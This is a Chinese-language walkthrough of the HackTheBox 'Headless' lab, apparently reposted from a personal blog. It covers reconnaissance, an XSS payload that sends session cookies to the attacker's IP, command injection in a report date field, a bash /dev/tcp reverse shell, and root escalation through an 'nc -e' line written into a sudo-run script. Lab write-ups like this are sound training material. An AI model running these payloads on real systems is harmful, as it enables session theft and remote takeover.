HackTheBox--Headless

Headless测试过程

1 信息收集

NMAP端口扫描

nmap -sSCV 10.10.11.8

在这里插入图片描述

5000端口测试

在这里插入图片描述

检查页面功能，请求 For questions 功能，跳转到 /support 目录

在这里插入图片描述

目录扫描

发现 /dashboard 目录
在这里插入图片描述

访问 /dashboard 目录，显示未认证，如果通过认证，/dashboard 目录下的功能点可能存在利用点，想办法获取 cookie
在这里插入图片描述

2 利用 XSS 获取 cookie

在这里插入图片描述

在HttpOnly不启用时，就可能通过 XSS 漏洞获取 cookie，/support 页面 可以进行用户输入，尝试利用此页面进行 XSS 攻击测试

# payload
<script>var i=new Image(); i.src="http://10.10.14.171:8081/?cookie="+btoa(document.cookie);</script>

在这里插入图片描述

本地服务器获取到返回的 cookie，base64 加密，进行解密

在这里插入图片描述

替换获取到的 cookie，刷新 http://10.10.11.8:5000/dashboard 页面

在这里插入图片描述

点击 Generate Report，抓包观察，既然可以通过日期进行查询，那可以测试是否可以拼接系统命令执行

在这里插入图片描述

拼接 ;id，执行成功
在这里插入图片描述

3 命令执行获取权限

执行命令方法 1

/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'

对反弹 shell 命令进行 URL 编码
在这里插入图片描述

执行命令方法 2

在这里插入图片描述

本地需要开启 http.server 服务
在这里插入图片描述

在这里插入图片描述

4 权限提升

# 检查当前用户拥有的权限
sudo -l

在这里插入图片描述

发现 /usr/bin/syscheck ，任何用户都可以无需密码执行，检查文件内容，initdb.sh 文件正在运行，那把命令写入 initdb.sh 文件，使用 sudo 执行即可获取 root 权限

在这里插入图片描述

echo  "nc -e /bin/sh 10.10.14.147 4445" > initdb.sh 
chmod +x initdb.sh
sudo /usr/bin/syscheck

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/pingmian/42804.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！